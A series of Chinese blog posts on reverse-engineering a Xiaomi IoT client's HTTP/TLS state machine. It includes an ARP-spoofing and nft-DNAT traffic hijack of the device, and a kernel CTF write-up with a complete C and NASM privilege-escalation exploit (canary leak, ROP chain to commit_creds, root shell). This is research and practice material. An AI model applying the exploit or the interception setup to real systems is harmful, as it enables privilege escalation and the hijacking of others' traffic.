小米IoT私有协议的漏洞挖掘尝试(十一)

尝试用发包的方式来让客户端进入新的逻辑,节省函数指针的间接引用所需要的大量静态分析时间。

于是,我修改补了一段畸形的http报文:

截图_2026-11-01_22-44-16.png

日志在开到最大的情况下,可以看到http_in_close函数,这是以前从未见过的,可以猜测得知这大概率是之前那几个结构体里的某个函数指针,在http_resp_body_recving进行了调用,进入了这段逻辑:

截图_2026-11-01_22-46-02.png

事实证明,httpdns成功接收了包。

但是光发包还不行,还得尝试让它有意义,而这里的jsmi_parse_start与一个名为cjson的库有关,这里恰好与我最初处理的json结构体联系起来,其恰好就是cjson的核心结构体jsmntok_t,其作用就是用扁平数组的方式来存储一个json字段。

截图_2026-11-01_22-50-06.png

截图_2026-11-01_22-50-16.png

大概逆向通读了一下http_in_close这个函数,发现它主要是在检查和接收几个键值对,于是尝试构造一段符合要求的json文本:

截图_2026-11-01_23-00-43.png

成功触发了http_in_close的校验逻辑,证明这种伪造是有效的,但是报错了enable disable,但是enable明明已经拼进了json字段中,猜测可能需要嵌套进去:

截图_2026-11-01_23-03-35.png

修改了enable的位置,这次没有字段缺失报错,显示了jsmi parse err,找到报错位置:

截图_2026-11-01_23-05-25.png

问题就出在jsmn_parse的返回值上,jsmn_parse同样是cjson的库函数,其作用是把第二个参数的字符串指针指向的json文本转化为tokens的形式(也就是之前所见的扁平数组)。

显然,jsmn_parse的返回值是一个负数错误码,进而引发了后续的问题,所以这里看一下具体是哪个状态码:

截图_2026-11-01_23-35-05.png

返回-2,表示的是“token数不足”,所以应该尝试减少json字段的嵌套深度,或者键值对数量,来强行把数据合法地塞进去。

Kernel Pwn provide_to_user

看别人写的WP发现别人写的exp长度比我写的代码量大了好几倍......

一道kernel rop,逛github时发现的,本来是在练习写驱动,但是偶然看见了。

IDA反编译一下:

截图_2026-10-27_18-27-59.png

属于proc驱动,这类驱动最大的特点就是跟misc设备一样,注册和撤销都只需要一个函数,不像chr设备那样需要分成alloc_chrdev_region(分配字符设备的主次设备号区间),cdev_init(将设备号与f_ops绑定),cdev_add(接入cdev_map)。

(虽然misc设备也属于特殊的chr设备)

截图_2026-10-27_18-32-14.png

截图_2026-10-27_18-32-23.png

代码漏洞其实很浅显,看似它对用户的write长度和read长度做了校验,但仔细看就能发现实际上它是在对proc_data这个vmalloc分配的堆块的最大长度做校验,而不是对栈的字节长度做校验。

利用思路就是先用read,越界读取canary,然后再越界写入rop,执行commit_creds(prepare_kernel_cred(0))完成提权,最后返回用户态触发shell。

kernelrop链的构造不能仅仅是执行完这两个函数就结束,因为内核态在返回用户态时还会恢复最初保存在内核栈上的大量寄存器,通用寄存器虽然无需在意,但是ss,cs,rflags,这几个寄存器是不能瞎填的,同时还得控制好rip,让它返回时就能立即执行shell函数,以及确保rsp在正常的映射区域内。

这就需要借助swapgs_restore_regs_and_return_to_usermode这个原本是正常内核返回用户空间所经历的函数:

截图_2026-10-27_18-43-37.png

它前半段pop出去一大堆原本存在内核栈上的寄存器旧值,为返回做准备;随后,在iret前,它会把ss,cs,rflags,rip,rsp这几个寄存器的旧值转移到内核的安全栈上(为了保证不会在返回时中断触发异常),最后执行iretq,死板地弹出这五个寄存器。

因此,rop的布置如下:

截图_2026-10-27_18-48-29.png

retto是一个跳板函数,因为返回用户态的下一步就是立即call get_shell,而这时是有可能因为call前要求rsp的16字节栈对齐而造成段错误的,所以在call前补上一条and rsp,~0xf汇编来保证16字节对齐。

最后是完整exp,我选择了使用更熟悉的手动链接汇编,而没有使用内联:

#define prepare_kernel_cred 0xffffffff810881d0
#define commit_creds 0xffffffff81087e90 
#define swapgs_restore_regs_and_return_to_usermode 0xffffffff81c00a2f
#define mov_rdi_rax_ret 0xffffffff810f1a78
#define pop_rdi_ret 0xffffffff81001518

#include<unistd.h>
#include<sys/types.h>
#include<fcntl.h>
#include<stdint.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

extern uint16_t _SS,_CS;
extern uint64_t _RFLAGS,_RSP;
extern void retto();
extern void save();

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    save();
    uint64_t canary;
    uint64_t buf[32];
    uint64_t rop[32];
    uint64_t end;
    memset(rop,0,256);
    uint64_t * posp = buf;
    int fd = open("/proc/shellcode_device",O_RDWR);
    read(fd,buf,256);
    for(int i = 0;i < 32;i++)
    {
        if(i != 4)
        {
            printf("%p\n",*posp);
            posp = posp + 1;
        }
        else
        {
            canary = *posp;
            printf("canary: %p\n",canary);
            posp = posp + 1;
        }
    }
    for(int j = 0;j < 4;j++)
    {
        rop[j] = 0X4141414141414141;
    }
    rop[4] = canary;
    rop[5] = 0x4141414141414141;
    rop[6] = pop_rdi_ret;
    rop[7] = 0;
    rop[8] = prepare_kernel_cred;
    rop[9] = mov_rdi_rax_ret;
    rop[10] = commit_creds;
    end = swapgs_restore_regs_and_return_to_usermode + 0x16;
    rop[11] = end;
    rop[14] = (uint64_t)&retto;
    rop[15] = _CS;
    rop[16] = _RFLAGS;
    rop[17] = _RSP;
    rop[18] = _SS;
    write(fd,rop,256);
    return 0;
}

nasm的类Intel汇编:

global _SS
global _CS
global _RFLAGS
global _RSP
global retto
global save
extern get_shell

section .data
_SS: dw 0
_CS: dw 0
_RFLAGS: dq 0
_RSP: dq 0

section .text
save:
    mov word [ rel _SS ],ss
    mov word [ rel _CS ],cs
    pushfq
    pop qword [ rel _RFLAGS ]
    mov qword [ rel _RSP ],rsp
    ret
retto:
    xor rbp,rbp
    and rsp,~0xf
    call get_shell

小米IoT私有协议的漏洞挖掘尝试(十)

socat实在是太好用了。

在目录里挂了一个名为gslb的文件后,成功返回了200状态码:

QQ20261017-222617.png

但实际上,它还是出现在了[E]日志里,仔细比对后,发现http.server返回的HTTP的版本号是1.0,而miio_client希望接收的协议版本号是1.1,所以直接把包丢弃了:

QQ20261017-221014.png

考虑到为此专门部署一个httpd或者用http.server模块实现一个简易的问答模型实在没必要,我干脆用socat转发stdout来模拟一次回包。

写一个简易脚本向stdout输出固定格式的http报文:

截图_2026-10-20_15-32-59.png

敲下socat -v TCP-LISTEN:53000,reuseaddr,fork EXEC:./res.sh,实现监听与转发,这样,脚本就会在tcp连接建立2秒后发出报文。

(这里反复尝试了好几次,ARP的欺骗效果不太稳定,不知道是不是缓存残留,miio_client多次试图连接原本的小米云。)

截图_2026-10-20_15-31-56.png

socat的-v能把双方的报文输出到stderr,这里成功完成了双向通信,同时wireshark抓包正常:

截图_2026-10-20_20-36-59.png

dbg顺便连上去,尝试抓取该程序在真正得到200状态码的正确报文后的逻辑:

截图_2026-10-20_15-35-35.png

然后就是机械的下断点,跟踪。

最后可以确定的是,程序完整地走完了整个http_disconnecting部分,进入了http_resp_body_recving,最后在对v195->field_30进行状态判断时卡住,进入循环,并反复报错:tls_shake failed,即TLS握手失败,但好在它有一个if-else,如果v196变量校验失败,就会尝试用http降级接收,后续可以考虑给v196设置一个有效值,暂时绕过TLS,理清大的状态:

截图_2026-10-20_22-45-42.png

小米IoT私有协议的漏洞挖掘尝试(九)

nft指令快要忘光了,今天用之前又现复习了一小时。

发现我一直在给同一个结构体改名字,在http_resp_frame_helper和http_req_frame_helper之间游移不定,但其实应该还是前者更合理一些。

QQ20261017-161622.png

目前已知的是,当它开始第一次连接时,它会先走httpc_connecting,然后走httpc_req_head_sending和httpc_req_body_sending发一个get请求,随即进入httpc_resp_head_recving,并根据某字段进入了一个分支,在该分支下,如果收到的请求行是“HTTP/1.1 200 OK”,它就先用httpc_disconnecting把连接关掉,关起门来判断读取的报文和目前的缓冲区指针哪个大,然后根据结果去判断继续读还是File done。

但关键问题在于,它具体是如何解析的,是由某结构体里的函数指针所指向的函数进行处理的,正常走根本抓不到:

QQ20261017-120129.png

恢复结构体彻底陷入了瓶颈,所以我不得不尝试脱离纯粹的静态分析,抓一些除了400响应码以外的其他报文。

这时候之前搭建的局域网就派上用场了。

虽然它是硬编码了ip,但事实上,如果我通过ARP广播进行欺骗,伪装成一台网关,让它把报文发到这个网关,并且利用nft修改转发规则,就可以让明文的http流量经过攻击机,并到达除了小米云以外的服务器,这时我就可以用那台服务器起一个http服务,自己伪造响应报文观察它的反应。

使用一台kali虚拟机来完成这一过程:

QQ20261017-133314.png

首先启动bettercap中间人工具,通过probe和show证明两台虚拟机之间相互可达。
,随后设置为双工模式,开始发起ARP广播。

QQ20261017-135010.png

QQ20261017-135040.png

在小米设备的虚拟机上通过ip neigh查看ARP的缓存情况,发现192.168.122.1(网关)的Mac地址已经和192.168.122.251(kali)一样,证明ARP欺骗生效。

用nft建立一个表,分别在prerouting钩子挂一个dnat链,在postrouting钩子挂一个snat链,前者负责把受攻击设备的数据包的dst改成个人服务器的ip,以此保证路径被篡改;后者负责把数据包的src改成kali自己的ip,负责保证回来的报文可以正常根据NAT规则表返回。

QQ20261017-152534.png

成功劫持:

QQ20261017-155821.png

随后我在自己的服务器上开了一个python的http.server:

QQ20261017-160206.png

QQ20261017-160225.png

成功了,不过返回去的是404 Not Found,所以有必要放一个get请求的同名文件,看看能否返回200。

小米IoT私有协议的漏洞挖掘尝试(八)

无符号的程序,还是尽量从日志下手。*

gdbserver的效果不太理想,哪怕是一台qemu-system虚拟机,也完全不支持硬件watch调试。

我又传了一个静态编译的strace进去,同样收效甚微。

最后还是靠着观察日志,终于找到了这个状态机的收发函数。下面是较为完善的状态机:

while循环
{
    switch(handle_method)
    {
    case 0: 确定某个指针是否存在,存在就令handle_method为1,否则为7
    case 1: httpc_connecting
    case 2: httpc_req_head_sending
    case 3: httpc_req_body_sending
    case 4: httpc_resp_head_recving
    case 5: httpc_resp_body_recving
    case 6: httpc_disconnecting
    }
}

对http_connecting进行处理:

QQ20261017-094017.png

观察到它主要根据field20这一int类型的变量来决定是否走tls_open,所以dbg在此下断点:

QQ20261017-094007.png

然后直接把这个x0寄存器改成1,观察它内部发生变化的几个变量:

QQ20261017-095314.png

QQ20261017-095351.png

QQ20261017-095416.png

结果发现,field18这个变量被赋值了一个指针,位于rodata区域,IDA里跳转过去,发现正好是之前研究过的那份证书。

但是tls_open内部是一个比现在这个http处理更为复杂的状态机,并且几乎没有任何日志字符串可供提示,逆向会花费更多的精力,不过还是可以依靠它恢复一些结构体。